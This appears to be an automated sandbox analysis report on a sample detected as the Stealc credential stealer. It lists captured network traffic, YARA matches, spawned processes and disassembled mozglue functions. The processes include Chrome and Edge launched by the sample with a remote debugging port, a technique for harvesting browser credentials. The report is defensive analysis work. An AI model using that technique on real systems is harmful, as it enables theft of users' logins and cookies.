2024-10-29 05:59:40 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49932	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:40 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:40 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:40 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 980a0530-101e-00a2-7d83-299f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055940Z-r197bdfb6b46krmwag4tzr9x7c00000005z0000000003w53 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 05:59:40 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Target ID:	0
Start time:	01:58:56
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xdd0000
File size:	2'130'432 bytes
MD5 hash:	2DC6F0117069AB5503A72D67E7575915
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2517335011.0000000000DD1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2053623666.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2516211934.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2516211934.0000000000B6E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:59:05
Start date:	29/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:59:06
Start date:	29/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 --field-trial-handle=2296,i,8722204721377479828,3000916601433608745,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:59:17
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:59:18
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2456,i,13850268372312283209,17815345528296934824,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:59:18
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:59:19
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2028,i,5845511922812751212,18091894062939200481,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	01:59:24
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6328 --field-trial-handle=2028,i,5845511922812751212,18091894062939200481,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:59:24
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6592 --field-trial-handle=2028,i,5845511922812751212,18091894062939200481,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:00:19
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=1120 --field-trial-handle=2028,i,5845511922812751212,18091894062939200481,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C5A35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C62F688,00001000), ref: 6C5A35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5A35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5A35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5A363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5A369F
__aulldiv.LIBCMT ref: 6C5A36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C5A3773
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5A377E
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5A37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5A37C4
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5A37CB
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5A3801
__aulldiv.LIBCMT ref: 6C5A3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C5A3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C5A3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C5A394C

Strings

GenuntelineI, xrefs: 6C5A3639
GTC, xrefs: 6C5A3912
QPC, xrefs: 6C5A38FC
MOZ_TIMESTAMP_MODE, xrefs: 6C5A35DB
AuthcAMDenti, xrefs: 6C5A3946

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 2c4448e7cb1090e5ad88f7fb1f6d1f98e8f0659bc47a31968e1b8cb9188a8460
Instruction ID: 58258d794846fcac44fbf7d8a36d5c5d9ce4a27c2b84679bf9037ea9a8444b09
Opcode Fuzzy Hash: 2c4448e7cb1090e5ad88f7fb1f6d1f98e8f0659bc47a31968e1b8cb9188a8460
Instruction Fuzzy Hash: C2B1D671B093109FDB08DF6AC884A1ABBF5FB8A704F04893DE499D7750D738D9058B8A

Function 6C5BC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C5BC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C5BC969
GetSystemInfo.KERNEL32(?), ref: 6C5BC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C5BC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C5BC9E2

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: c25a419378f0307c4cc3593511087e2d48e8c7a017ecbf304a149edabb2da990
Instruction ID: ee57ad9629ccca4bbce986a2f7b66707ca0dbbf25c9cb405b823373fd64a2c64
Opcode Fuzzy Hash: c25a419378f0307c4cc3593511087e2d48e8c7a017ecbf304a149edabb2da990
Instruction Fuzzy Hash: 1721D731741218ABEB14AA29CCD4BAE77B9EB86744F50051EF943B7A40EB707C04879D

Function 6C5A3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C5A3095

Part of subcall function 6C5A35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C62F688,00001000), ref: 6C5A35D5
Part of subcall function 6C5A35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5A35E0
Part of subcall function 6C5A35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5A35FD
Part of subcall function 6C5A35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5A363F
Part of subcall function 6C5A35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5A369F
Part of subcall function 6C5A35A0: __aulldiv.LIBCMT ref: 6C5A36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5A309F

Part of subcall function 6C5C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B85
Part of subcall function 6C5C5B50: EnterCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B90
Part of subcall function 6C5C5B50: LeaveCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5BD8
Part of subcall function 6C5C5B50: GetTickCount64.KERNEL32 ref: 6C5C5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5A30BE

Part of subcall function 6C5A30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C5A3127
Part of subcall function 6C5A30F0: __aulldiv.LIBCMT ref: 6C5A3140

Part of subcall function 6C5DAB2A: __onexit.LIBCMT ref: 6C5DAB30

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 7652b2b07070b95f457e38f3c29b51b2d7fdcefa6832b054756fe781511fc3f7
Instruction ID: 28c5886c79c98ed68545528f8921f23ad7d5b28c6b54648bcd6eb66a00b02b5d
Opcode Fuzzy Hash: 7652b2b07070b95f457e38f3c29b51b2d7fdcefa6832b054756fe781511fc3f7
Instruction Fuzzy Hash: 2DF0F932E20754D6CB10DF7A8CC1AEAB370EFAB118F511719E84563511FB2465D8838B

Non-executed Functions

Function 6C5B5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5B5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B54BE
__Init_thread_footer.LIBCMT ref: 6C5B54DB

Part of subcall function 6C5DAB3F: EnterCriticalSection.KERNEL32(6C62E370,?,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB49
Part of subcall function 6C5DAB3F: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DAB7C

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

GetCurrentThreadId.KERNEL32 ref: 6C5B54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C5B5516
GetCurrentThreadId.KERNEL32 ref: 6C5B556A
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C5B5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C5B5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5B55E6
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B5616

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

GetCurrentThreadId.KERNEL32 ref: 6C5B563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5B5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C5B567C
free.MOZGLUE(?), ref: 6C5B56AE

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5B56E8
GetCurrentThreadId.KERNEL32 ref: 6C5B5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C5B570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C5B5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C5B574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C5B576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C5B5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5B57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5B57CA

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5B5791
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C5B5CF9
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5B54A3
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C5B5D24
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5B56E3
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5B5724
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5B57C5
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5B54B9
[I %d/%d] profiler_init, xrefs: 6C5B564E
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C5B5C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C5B5AC9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5B5766
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C5B5BBE
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C5B5B38
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C5B5D01
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C5B584E
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C5B5D2B
MOZ_PROFILER_STARTUP, xrefs: 6C5B55E1
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C5B5D1C
GeckoMain, xrefs: 6C5B5554, 6C5B55D5
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5B548D
MOZ_BASE_PROFILER_HELP, xrefs: 6C5B5511
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C5B5717
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5B57AE
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C5B5749

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: fd061fc5e527c0860552363f74d15eb5ff6ba75276c03acde24cd4c4d08f0231
Instruction ID: b04d8da1ab57f41e6c74f865e98f57f7aeb7a2e9e97ec03ddeb5d4d242474f7d
Opcode Fuzzy Hash: fd061fc5e527c0860552363f74d15eb5ff6ba75276c03acde24cd4c4d08f0231
Instruction Fuzzy Hash: 1C2258B0A047009FE7049F75CCA465ABBB4FF86348F844A29E846A7B41E739D845CF5B

Function 6C5EB820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5EB845
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000), ref: 6C5EB852
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EB884
InitializeConditionVariable.KERNEL32(?), ref: 6C5EB8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C5EB9FD
GetCurrentThreadId.KERNEL32 ref: 6C5EBA05
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000), ref: 6C5EBA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C5EBA27
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EBA4B
free.MOZGLUE(?), ref: 6C5EC9C7
free.MOZGLUE(?), ref: 6C5EC9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C5EC878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C5EC7DA

Memory Dump Source

